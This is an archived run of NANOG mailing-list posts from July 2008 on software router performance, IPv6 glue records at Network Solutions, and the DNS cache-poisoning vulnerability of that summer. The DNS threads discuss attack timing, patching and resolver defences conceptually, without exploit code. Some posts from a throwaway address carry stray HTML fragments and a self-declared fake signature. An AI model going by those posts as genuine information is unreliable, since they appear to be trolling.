06:41:21 2008 From: dhetzel at gmail.com (Dorn Hetzel) Date: Sat, 26 Jul 2008 07:41:21 -0400 Subject: Software router state of the art In-Reply-To: <20080726113114.GB18478@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> <488B0679.7040009@karnaugh.za.net> <20080726113114.GB18478@skywalker.creative.net.au> Message-ID: <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> Ok, it's probably a stupid question, but given the relative ease of putting 4gb+ ram on a 64bit platform, could packet per second performance be improved by brute forcing the route lookup as an array of 1 byte destination interface indexes for a contiguous swath of /32's from bottom to top? Route updates would be a little ugly, 2^24 bytes to rewrite for a /8, but forwarding lookups out to be a single indexed read ? On Sat, Jul 26, 2008 at 7:31 AM, Adrian Chadd wrote: > On Sat, Jul 26, 2008, Colin Alston wrote: > > >And I always ask that question when people claim really high(!) > throughput > > >on > > >software forwarding. It turns out their throughput was single > source/single > > >dest, and/or large packets (so high throughput, but low pps.) > > > > I assume though that all of this is on x86 platform hardware. How does > > this compare to Linux or FreeBSD running on something else like the > > Cavium Octeon and other 64bit MIPS based processors? > > You'll have to ask the people playing with it on that. > > Me, I've been looking for some multicore MIPS + fruit for some Squid > related hackery but I've been busy with other things (like, you know, > making Squid-2 be able to be run on multi-core hardware in the first > place..) so it'll have to wait.. :) > > > > > Adrian > > > From jgreco at ns.sol.net Sat Jul 26 08:07:49 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 26 Jul 2008 08:07:49 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <20080726110526.GA18478@skywalker.creative.net.au> from "Adrian Chadd" at Jul 26, 2008 07:05:26 PM Message-ID: <200807261307.m6QD7oel005598@aurora.sol.net> > On Sat, Jul 26, 2008, Florian Weimer wrote: > > Was this with one packet flow, or with millions of them? > > I believe it was >1 flow. The guy is using an Ixia; I don't know how > he has it configured. > > > Traditionally, software routing performance on hosts systems has been > > optimized for few and rather long flows. > > Yup. > > And I always ask that question when people claim really high(!) throughput on > software forwarding. It turns out their throughput was single source/single > dest, and/or large packets (so high throughput, but low pps.) I'm not sure where the claims about "{one, few} flow{s}" are coming from. Certainly the number of flows on a typical UNIX box acting as a router is not that relevant unless you specifically configure something like stateful firewalling, because the typical UNIX box simply doesn't have a *concept* of "flows." It deals with packets. This has its own problems, of course, but handling high levels of traffic in many flows is not one of them. There are other software routing platforms that DO flows, but the above mentions "host[s] systems", so I'm reading that as "UNIX router." On the flip side, packet size is definitely a consideration. This topic has been beaten to death on the Zebra mailing lists by myself and others in the past. With yesterday's technology (P4 3.0G, 512MB RAM, PCI-X, FreeBSD 4) we were successfully dealing with >300Kpps about 3 years ago, without substantial work. That was single source/single dest, but with a full routing table. There's no real optimization for that within the FreeBSD framework, so it is about the same performance you'd have gotten with multi source/multi dest. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From herrin-nanog at dirtside.com Sat Jul 26 08:35:59 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Sat, 26 Jul 2008 09:35:59 -0400 Subject: Software router state of the art In-Reply-To: <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> <488B0679.7040009@karnaugh.za.net> <20080726113114.GB18478@skywalker.creative.net.au> <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> Message-ID: <3c3e3fca0807260635wf1a1fdbjc743bcc9a7c80719@mail.gmail.com> On Sat, Jul 26, 2008 at 7:41 AM, Dorn Hetzel wrote: > Ok, it's probably a stupid question, but given the relative ease of putting > 4gb+ ram on a 64bit platform, > could packet per second performance be improved by brute forcing the route > lookup as an array of 1 byte destination interface indexes for a contiguous > swath of /32's from bottom to top? > > Route updates would be a little ugly, 2^24 bytes to rewrite for a /8, but > forwarding lookups out to be a single indexed read ? Dorn, In theory with about 6 gigs of ram for the IPv4 FIB, sure. But: You're significantly multiplying the likelihood of a cache miss when performing a lookup. You can do a fair amount of tree traversal in cache for the price of one miss. You're a tad shy on ram to try this with IPv6. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From ww at styx.org Sat Jul 26 08:39:36 2008 From: ww at styx.org (William Waites) Date: Sat, 26 Jul 2008 15:39:36 +0200 Subject: IPv6 nameserver glue chez netsol Message-ID: Hi all, Does anyone have a contact or a known administrative path to get AAAA NS glue added to domains registered with Network Solutions? Or is the only choice to move the domains in question to a different registrar? (Perhaps more appropriate for dns-operations, but as it is an operational question and my subscription request is awaiting moderator approval, I hope nobody will mind my posting it here) Cheers, -w From nanog at namor.ca Sat Jul 26 09:06:10 2008 From: nanog at namor.ca (Jared) Date: Sat, 26 Jul 2008 09:06:10 -0500 Subject: IPv6 nameserver glue chez netsol In-Reply-To: References: Message-ID: <488B2F52.2020502@namor.ca> Their page for changing DNS servers mentions: Advanced Users: To specify your IPv6 name server address (IPv6 glue record), e-mail us the domain name, the host name of the name server(s), and their IPv6 address(es). With the "e-mail us" being: IPV6Req at networksolutions.com William Waites wrote: > Hi all, > > Does anyone have a contact or a known administrative path to get AAAA NS > glue added to > domains registered with Network Solutions? Or is the only choice to move > the domains in > question to a different registrar? > > (Perhaps more appropriate for dns-operations, but as it is an > operational question and my > subscription request is awaiting moderator approval, I hope nobody will > mind my posting > it here) > > Cheers, > -w From petri at helenius.fi Sat Jul 26 12:40:54 2008 From: petri at helenius.fi (Petri Helenius) Date: Sat, 26 Jul 2008 20:40:54 +0300 Subject: Software router state of the art In-Reply-To: <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> References: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> <20080723195952.98B854500E@ptavv.es.net> <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> Message-ID: <488B61A6.4040106@helenius.fi> William Herrin wrote: > "ethtool -c". Thanks Sargun for putting me on to "I/O Coalescing." > > But cards like the Intel Pro/1000 have 64k of memory for buffering > packets, both in and out. Few have very much more than 64k. 64k means > 32k to tx and 32k to rx. Means you darn well better generate an > interrupt when you get near 16k so that you don't fill the buffer > before the 16k you generated the interrupt for has been cleared. Means > you're generating an interrupt at least for every 10 or so 1500 byte > packets. > This is not true in the bus master dma mode how the cards are usually used. The mentioned memory is used only as temporary storage until the card can DMA the data into the buffers in main memory. Most Pro/1000 cards have buffering capability up to 4096 frames. Pete From randy at psg.com Sat Jul 26 12:52:25 2008 From: randy at psg.com (Randy Bush) Date: Sat, 26 Jul 2008 18:52:25 +0100 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <27023.1216909329@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> Message-ID: <488B6459.7040006@psg.com> > 11 seconds. > > and at&t refuses to patch. > > and all iphones use those name servers. > > your move. i am just back from a week off net on the nw irish coast. stunning. the messages on this thread outnumber the nightly log reports from 20+ servers, plus the whining of a server with a hardware problem, plus ... what i do not understand is why people think screaming to the choir will make any significant difference? if fools want to be fools, you are not going to stop them, especially not by screaming on nanog or dns operations lists. i hope all my competitors don't patch. randy From mleber at he.net Sat Jul 26 13:29:12 2008 From: mleber at he.net (Mike Leber) Date: Sat, 26 Jul 2008 11:29:12 -0700 (PDT) Subject: IPv6 nameserver glue chez netsol In-Reply-To: <488B2F52.2020502@namor.ca> Message-ID: We tried getting Network Solutions to add an AAAA glue record by sending email to various addresses (starting with the one below) with no success, and then switched to calling. Their after hours customer service didn't know anything about IPv6 host records or IPv6 nameserver glue, however their regular business hours customer service was knowledgeable, professional, and knew exactly what to do and had AAAA records added for our nameservers that day. We went with adding AAAA records to ns2,ns3,ns4,ns5.he.net. We are still in the process of adding ns4 and ns5 to various domains etc. We deferred getting an AAAA host record added for ns1.he.net for the sake of being conservative because we provide authorative DNS for alot of domain names. The nameserver ns1.he.net does have an AAAA record for itself. The he.net website has been running with an AAAA record for quite a while and we've yet to get a single call or ticket involving a customer that couldn't reach it due to misconfigured IPv6. We get lots of regular server and router tickets with IPv6 configuration questions. It would be great if Network Solutions would add IPv6 nameserver glue support to their web interface so that customers get a consistently successful experience. Mike. On Sat, 26 Jul 2008, Jared wrote: > Their page for changing DNS servers mentions: > > Advanced Users: > > To specify your IPv6 name server address (IPv6 glue record), e-mail us > the domain name, the host name of the name server(s), and their IPv6 > address(es). > > With the "e-mail us" being: > > IPV6Req at networksolutions.com > > William Waites wrote: > > Hi all, > > > > Does anyone have a contact or a known administrative path to get AAAA NS > > glue added to > > domains registered with Network Solutions? Or is the only choice to move > > the domains in > > question to a different registrar? > > > > (Perhaps more appropriate for dns-operations, but as it is an > > operational question and my > > subscription request is awaiting moderator approval, I hope nobody will > > mind my posting > > it here) > > > > Cheers, > > -w > +----------------- H U R R I C A N E - E L E C T R I C -----------------+ | Mike Leber Wholesale IPv4 and IPv6 Transit 510 580 4100 | | Hurricane Electric Web Hosting Colocation AS6939 | | mleber at he.net http://he.net | +-----------------------------------------------------------------------+ From vixie at isc.org Sat Jul 26 14:31:00 2008 From: vixie at isc.org (Paul Vixie) Date: Sat, 26 Jul 2008 19:31:00 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <488B6459.7040006@psg.com> (Randy Bush's message of "Sat\, 26 Jul 2008 18\:52\:25 +0100") References: <27023.1216909329@nsa.vix.com> <488B6459.7040006@psg.com> Message-ID: randy at psg.com (Randy Bush) writes: > i hope all my competitors don't patch. i think that that statement is false. the resulting insecurity of that endpoint population will be a tsunami that will swamp people far away, it'll just be worse for those at the epicenter (meaning: who don't patch.) if your customers are exchanging data with your competitors' customers (and, face it, they are) then your customers can still lose data and money, and your support lines can still ring. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From fw at deneb.enyo.de Sat Jul 26 14:42:06 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 26 Jul 2008 21:42:06 +0200 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: (Paul Vixie's message of "Fri, 25 Jul 2008 21:31:11 +0000") References: Message-ID: <87ej5gzb3l.fsf@mid.deneb.enyo.de> * Paul Vixie: > in > we see this text: > > The DNS attacks are starting!!! > > Below is a snippet of a logwatch from last night. Be sure all DNS > servers are updated if at all possible. The spooks are out in full > on this security vulnerability in force. > > THIS IS YOUR LAST WARNING...!!! > Patch or Upgrade NOW! > > ... > > this ought to be an interesting weekend. It's from a Georgia Tech address, so it's likely some sort of monitoring effort by David Dagon. I see it in my logs, too. From herrin-nanog at dirtside.com Sat Jul 26 14:46:50 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Sat, 26 Jul 2008 15:46:50 -0400 Subject: Software router state of the art In-Reply-To: <488B61A6.4040106@helenius.fi> References: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> <20080723195952.98B854500E@ptavv.es.net> <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> <488B61A6.4040106@helenius.fi> Message-ID: <3c3e3fca0807261246p15447c54j4fbbe213eaf745e0@mail.gmail.com> On Sat, Jul 26, 2008 at 1:40 PM, Petri Helenius wrote: > William Herrin wrote: >> But cards like the Intel Pro/1000 have 64k of memory for buffering >> packets, both in and out. Few have very much more than 64k. 64k means >> 32k to tx and 32k to rx. Means you darn well better generate an >> interrupt when you get near 16k so that you don't fill the buffer >> before the 16k you generated the interrupt for has been cleared. Means >> you're generating an interrupt at least for every 10 or so 1500 byte >> packets. >> > > This is not true in the bus master dma mode how the cards are usually used. > The mentioned memory is used only as temporary storage until the card can > DMA the data into the buffers in main memory. Most Pro/1000 cards have > buffering capability up to 4096 frames. Pete, I'll confess to some ignorance here. We're at the edge of my skill set. The pro/1000 does not need to generate an interrupt in order to start a DMA transfer? Can you refer me to some documents which explain in detail how a card on the bus sets up a DMA transfer? Thanks, Bill -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From jgreco at ns.sol.net Sat Jul 26 15:05:18 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Sat, 26 Jul 2008 15:05:18 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <488B6459.7040006@psg.com> from "Randy Bush" at Jul 26, 2008 06:52:25 PM Message-ID: <200807262005.m6QK5I5u019713@aurora.sol.net> > what i do not understand is why people think screaming to the choir will > make any significant difference? Think about it. Would you rather nobody make a big deal about it and have it go unpatched lots of places, and have nobody understand what a monumental train wreck this all is, or would it be better that people take some notice, and have resources like NANOG available to help them make the case about how this needs to be patched, and also just how much we all need DNSSEC? Sometimes the only thing you can do is scream at the choir, but if that can make even a small difference, why not? And Paul's absolutely correct, this is not something where we can afford to let that happen. You will be affected regardless, whether it is because your customers are relying on an answer provided by a nameserver somewhere else in the infrastructure that has been corrupted, or whatever. And patching does not appear to guarantee invulnerability (eek!) The Really Scary Possibilities (at least the one that really frightens me) Have Not Been Discussed On This List. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From fw at deneb.enyo.de Sat Jul 26 15:29:56 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 26 Jul 2008 22:29:56 +0200 Subject: Software router state of the art In-Reply-To: <3c3e3fca0807261246p15447c54j4fbbe213eaf745e0@mail.gmail.com> (William Herrin's message of "Sat, 26 Jul 2008 15:46:50 -0400") References: <3c3e3fca0807231117u27d01471pf5b88edca4ae729f@mail.gmail.com> <20080723195952.98B854500E@ptavv.es.net> <3c3e3fca0807231351i5f2fc6f4g4a670e0f405342c3@mail.gmail.com> <488B61A6.4040106@helenius.fi> <3c3e3fca0807261246p15447c54j4fbbe213eaf745e0@mail.gmail.com> Message-ID: <87k5f8tmm3.fsf@mid.deneb.enyo.de> * William Herrin: > The pro/1000 does not need to generate an interrupt in order to start > a DMA transfer? Can you refer me to some documents which explain in > detail how a card on the bus sets up a DMA transfer? Busmaster DMA does not generate an interrupt on the host CPU. The interrupt is used to trigger processing on the host CPU; it can be deferred until several frames have been written. From fw at deneb.enyo.de Sat Jul 26 15:35:56 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 26 Jul 2008 22:35:56 +0200 Subject: Software router state of the art In-Reply-To: <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> (Dorn Hetzel's message of "Sat, 26 Jul 2008 07:41:21 -0400") References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> <488B0679.7040009@karnaugh.za.net> <20080726113114.GB18478@skywalker.creative.net.au> <2ee691ff0807260441u79c2fef0p76bec3bae85792fd@mail.gmail.com> Message-ID: <873alwtmc3.fsf@mid.deneb.enyo.de> * Dorn Hetzel: > Ok, it's probably a stupid question, but given the relative ease of > putting 4gb+ ram on a 64bit platform, could packet per second > performance be improved by brute forcing the route lookup as an array > of 1 byte destination interface indexes for a contiguous swath of > /32's from bottom to top? 8 bits per destination are not enough because you really want to put all the necessary L2 information into the FIB. Perhaps even AS numbers, for flow export. From bmanning at vacation.karoshi.com Sat Jul 26 16:16:10 2008 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 26 Jul 2008 21:16:10 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807262005.m6QK5I5u019713@aurora.sol.net> References: <488B6459.7040006@psg.com> <200807262005.m6QK5I5u019713@aurora.sol.net> Message-ID: <20080726211610.GA30885@vacation.karoshi.com.> On Sat, Jul 26, 2008 at 03:05:18PM -0500, Joe Greco wrote: > > what i do not understand is why people think screaming to the choir will > > make any significant difference? > > And Paul's absolutely correct, this is not something where we can afford to > let that happen. Paul is correct if you work from his point of view. there are other pov where the frantic energy expenditure might be better spent. If you -must- patch, try patching w/ code that is -not- vulnerable... unbound has been reported as being "safe" if properly configured. So that was my patch profile. actually, i think this is a whole lot of effort for what is essentually a diversion tactic. Why you ask? > And patching does not appear to guarantee invulnerability (eek!) there you go. the massive effort to patch would likley have better been spent to actually -sign- the stupid zones and work out key distribution. but no... running around like the proverbial headless chicken seems to get the PR. The real value in this frantic exercise was pointed out by Roy Arends... the number of folks who now have (possibly) DNSSEC aware code in play is much higher than last month. > The Really Scary Possibilities (at least the one that really frightens me) > Have Not Been Discussed On This List. true enough. and that is a good thing. > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net --bill From sean at donelan.com Sat Jul 26 16:47:54 2008 From: sean at donelan.com (Sean Donelan) Date: Sat, 26 Jul 2008 17:47:54 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <20080726211610.GA30885@vacation.karoshi.com.> References: <488B6459.7040006@psg.com> <200807262005.m6QK5I5u019713@aurora.sol.net> <20080726211610.GA30885@vacation.karoshi.com.> Message-ID: <200807261740470.32BF5B92.5810@clifden.donelan.com> On Sat, 26 Jul 2008, bmanning at vacation.karoshi.com wrote: > there you go. the massive effort to patch would likley have > better been spent to actually -sign- the stupid zones and > work out key distribution. but no... running around like > the proverbial headless chicken seems to get the PR. Maybe someone could publish a blacklist of vulnerable recursive name servers, and then F-Root, the other root name servers, and other "popular" sites could start refusing to answer queries from vunerable name servers until after the blacklist operator decides they've patched their recursive server sufficiently? Maybe that would get their attention and encourage them to apply resources to the problem? Extreme situations justify extreme measures; or how extreme do you believe justifies what measures? From mysidia at gmail.com Sat Jul 26 16:55:23 2008 From: mysidia at gmail.com (James Hess) Date: Sat, 26 Jul 2008 16:55:23 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241335.m6ODZpfo097197@aurora.sol.net> References: <73818.1216878919@nsa.vix.com> <200807241335.m6ODZpfo097197@aurora.sol.net> Message-ID: <6eb799ab0807261455w589d7dc8pd39138f0b0ea3fe8@mail.gmail.com> On Thu, Jul 24, 2008 at 8:35 AM, Joe Greco wrote: > If the old code system could result in an infected name server in 11 > seconds, this "fix" looks to me to be at best a dangerous and risky > exercise at merely reducing the odds. Some criminal enterprise will > figure out that you've only reduced the odds to 1/64000 of what they > were, but the facts are that if you can redirect some major ISP's > resolver to punt www.chase.com or www.citibank.com at your $evil server, Provided the attacker cannot run 'tcpdump' or similar and _see_ the target server's DNS traffic, perhaps cache itself could become a defense mechanism... Whenever a user of a DNS server requests a lookup for a cached entry nearing expiration, give the user the cached entry, but, also perform a background lookup to renew the cache: only accept the DNS response, to that special query, if it has the same data as what is already cached. Nameservers could incorporate poison detection... Listen on 200 random fake ports (in addition to the true query ports); if a response ever arrives at a fake port, then it must be an attack, read the "identified" attack packet, log the attack event, mark the RRs mentioned in the packet as "poison being attempted" for 6 hours; for such domains always request and collect _two_ good responses (instead of one), with a 60 second timeout, before caching a lookup. The attacker must now guess nearly 64-bits in a short amount of time, to be successful. Once a good lookup is received, discard the normal TTL and hold the good answer cached and immutable, for 6 hours (_then_ start decreasing the TTL normally). -- When the patch also prevents caching additional sections, for a DNS label previously cached, this type of sustained brute force should not be feasible: when the name targetted for poisoning must be the name that is being looked up. It is a much larger reduction than 1:64000 Since then the vulnerability to poisoning only exists when a name has not yet been cached: sustained brute force cannot occur (there is an element of waiting a long time, for the proper cached entry to expire). Once a DNS request occurs for the target name followed by the legitimate response winning, an attacker has to wait until the proper cached entry expires, before any poisoning effort could be successful. -- -J From trelane at trelane.net Sat Jul 26 16:56:04 2008 From: trelane at trelane.net (Andrew D Kirch) Date: Sat, 26 Jul 2008 17:56:04 -0400 Subject: Software router state of the art In-Reply-To: <521991.67953.qm@web65512.mail.ac4.yahoo.com> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> Message-ID: <488B9D74.1010705@trelane.net> Zed Usser wrote: > Hi all! > > There's been some discussion on the list regarding software routers lately and this piqued my interest. Does anybody have any recent performance and capability statistics (eg. forwarding rates with full BGP tables and N ethernet interfaces) or any pointer to what the current state of art in software routers is? > > - Zed I'd like to be wrong, but there's no way that any PC/Commodity routing system is going to work (in any environment other than Ethernet). For the small ISP starting out (you know, the ones selling T1's/xDSL), there are no Channelized T3/OC3 cards available for a PeeCee, which means you still need to buy something from Cisco or Juniper. And the major carriers are already using Cisco/Juniper, because even at the price they charge they aren't unreasonable because they support their product. I don't care how many packets per second, or simultaneous route flows you can do if I can't plug anything besides Ethernet into it. If you can show me the hardware, great I'll take a look at it, otherwise these simply don't matter all that much. Andrew From bmanning at vacation.karoshi.com Sat Jul 26 17:15:50 2008 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 26 Jul 2008 22:15:50 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807261740470.32BF5B92.5810@clifden.donelan.com> References: <488B6459.7040006@psg.com> <200807262005.m6QK5I5u019713@aurora.sol.net> <20080726211610.GA30885@vacation.karoshi.com.> <200807261740470.32BF5B92.5810@clifden.donelan.com> Message-ID: <20080726221550.GB31325@vacation.karoshi.com.> On Sat, Jul 26, 2008 at 05:47:54PM -0400, Sean Donelan wrote: > On Sat, 26 Jul 2008, bmanning at vacation.karoshi.com wrote: > > there you go. the massive effort to patch would likley have > > better been spent to actually -sign- the stupid zones and > > work out key distribution. but no... running around like > > the proverbial headless chicken seems to get the PR. > > Maybe someone could publish a blacklist of vulnerable recursive > name servers, and then F-Root, the other root name servers, > and other "popular" sites could start refusing to answer queries > from vunerable name servers until after the blacklist operator decides > they've patched their recursive server sufficiently? > > Maybe that would get their attention and encourage them to apply > resources to the problem? > > Extreme situations justify extreme measures; or how extreme do > you believe justifies what measures? Knock yourself out Sean. --bill From cmadams at hiwaay.net Sat Jul 26 17:23:50 2008 From: cmadams at hiwaay.net (Chris Adams) Date: Sat, 26 Jul 2008 17:23:50 -0500 Subject: Software router state of the art In-Reply-To: <488B9D74.1010705@trelane.net> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <488B9D74.1010705@trelane.net> Message-ID: <20080726222350.GA884395@hiwaay.net> Once upon a time, Andrew D Kirch said: > I'd like to be wrong, but there's no way that any PC/Commodity routing > system is going to work (in any environment other than Ethernet). For > the small ISP starting out (you know, the ones selling T1's/xDSL), there > are no Channelized T3/OC3 cards available for a PeeCee, which means you > still need to buy something from Cisco or Juniper. First hit on a Google search: http://www.imagestream.com/PCI_921-CDS.html -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From sethm at rollernet.us Sat Jul 26 17:46:17 2008 From: sethm at rollernet.us (Seth Mattinen) Date: Sat, 26 Jul 2008 15:46:17 -0700 Subject: Software router state of the art In-Reply-To: <20080726222350.GA884395@hiwaay.net> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <488B9D74.1010705@trelane.net> <20080726222350.GA884395@hiwaay.net> Message-ID: <488BA939.2040303@rollernet.us> Chris Adams wrote: > Once upon a time, Andrew D Kirch said: >> I'd like to be wrong, but there's no way that any PC/Commodity routing >> system is going to work (in any environment other than Ethernet). For >> the small ISP starting out (you know, the ones selling T1's/xDSL), there >> are no Channelized T3/OC3 cards available for a PeeCee, which means you >> still need to buy something from Cisco or Juniper. > > First hit on a Google search: > > http://www.imagestream.com/PCI_921-CDS.html > ImageStream isn't really "look I just bought a Dell and now I need to route my DS3 with BGP" is it? Does anyone reading this use any ImageStream gear in production? I'm curious what your experiences are. ~Seth From natalidel at mailinator.com Sat Jul 26 17:56:35 2008 From: natalidel at mailinator.com (natalidel at mailinator.com) Date: 26 Jul 2008 23:56:35 +0100 Subject: So why don't US citizens get this? Message-ID: <2A1589C159A8@xult.org> https://asahi-net.jp/en/service/ftth.html -- hmm?
-- No, this email's not real, it's http://deadfake.com From Guy_Shields at Stream.Com Sat Jul 26 18:00:47 2008 From: Guy_Shields at Stream.Com (Guy_Shields at Stream.Com) Date: Sat, 26 Jul 2008 18:00:47 -0500 Subject: So why don't US citizens get this? Message-ID: We do its called FIOS. ----- Original Message ----- From: natalidel Sent: 07/26/2008 11:56 PM CET To: nanog at nanog.org Subject: So why don't US citizens get this? https://asahi-net.jp/en/service/ftth.html -- hmm?
-- No, this email's not real, it's http://deadfake.com From natalidel at mailinator.com Sat Jul 26 18:03:48 2008 From: natalidel at mailinator.com (natalidel at mailinator.com) Date: 27 Jul 2008 00:03:48 +0100 Subject: So why don't US citizens get this? Message-ID: <2A1C15C8503E@xult.org> Guy_Shields at Stream.Com <Guy_Shields at Stream.Com> said at Sat Jul 26 23:00:47 UTC 2008
>
We do its called FIOS.

AFAIK they don't offer affordable 100mbps symmetric connections though via their fiber to house service... ;)
-- No, this email's not real, it's http://deadfake.com From LarrySheldon at cox.net Sat Jul 26 18:06:55 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Sat, 26 Jul 2008 18:06:55 -0500 Subject: So why don't US citizens get this? In-Reply-To: <2A1C15C8503E@xult.org> References: <2A1C15C8503E@xult.org> Message-ID: <488BAE0F.10506@cox.net> natalidel at mailinator.com wrote: > Guy_Shields at Stream.Com <Guy_Shields at Stream.Com> said at Sat Jul 26 23:00:47 UTC 2008
>
We do its called FIOS.

AFAIK they don't offer affordable 100mbps symmetric connections though via their fiber to house service... ;)
> > > > > > > > > > > > > > > > > > > > > > > > -- > No, this email's not real, it's http://deadfake.com What in the world does that say? -- Requiescas in pace o email Two identifying characteristics of System Administrators: Ex turpi causa non oritur actio Infallibility, and the ability to learn from their mistakes. Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs From bmanning at vacation.karoshi.com Sat Jul 26 18:11:39 2008 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 26 Jul 2008 23:11:39 +0000 Subject: So why don't US citizens get this? In-Reply-To: References: Message-ID: <20080726231139.GA31602@vacation.karoshi.com.> well... hard to tell... Secure Connection Failed asahi-net.jp uses an invalid security certificate. The certificate is not trusted because the issuer certificate is not trusted. that said, can I get FIOS w/o any other Verizon crap? I just want the fiber transport to an exchange... want my own ISP/peering, not theirs. They wont sell it. --bill On Sat, Jul 26, 2008 at 06:00:47PM -0500, Guy_Shields at Stream.Com wrote: > We do its called FIOS. > > > ----- Original Message ----- > From: natalidel > Sent: 07/26/2008 11:56 PM CET > To: nanog at nanog.org > Subject: So why don't US citizens get this? > > https://asahi-net.jp/en/service/ftth.html -- hmm?
From babydr at baby-dragons.com Sat Jul 26 18:38:00 2008 From: babydr at baby-dragons.com (Mr. James W. Laferriere) Date: Sat, 26 Jul 2008 15:38:00 -0800 (AKDT) Subject: So why don't US citizens get this? In-Reply-To: <20080726231139.GA31602@vacation.karoshi.com.> References: <20080726231139.GA31602@vacation.karoshi.com.> Message-ID: Hello Bill , On Sat, 26 Jul 2008, bmanning at vacation.karoshi.com wrote: > well... hard to tell... > > Secure Connection Failed > > asahi-net.jp uses an invalid security certificate. > > The certificate is not trusted because the issuer certificate is not trusted. > > that said, can I get FIOS w/o any other > Verizon crap? I just want the fiber transport > to an exchange... want my own ISP/peering, not > theirs. They wont sell it. > > --bill Anyone find a 'Commodity' seller of IP connectivity that will provide that ?I haven't in a Number of years now . Imo , it appears to be company cowardice . But then again alot can go wrong even if you filter correctly . But I'd really like to find a provider that 'Can' . Just like the little train . Twyal , JimL > On Sat, Jul 26, 2008 at 06:00:47PM -0500, Guy_Shields at Stream.Com wrote: >> We do its called FIOS. >> >> >> ----- Original Message ----- >> From: natalidel >> Sent: 07/26/2008 11:56 PM CET >> To: nanog at nanog.org >> Subject: So why don't US citizens get this? >> >> https://asahi-net.jp/en/service/ftth.html -- hmm?
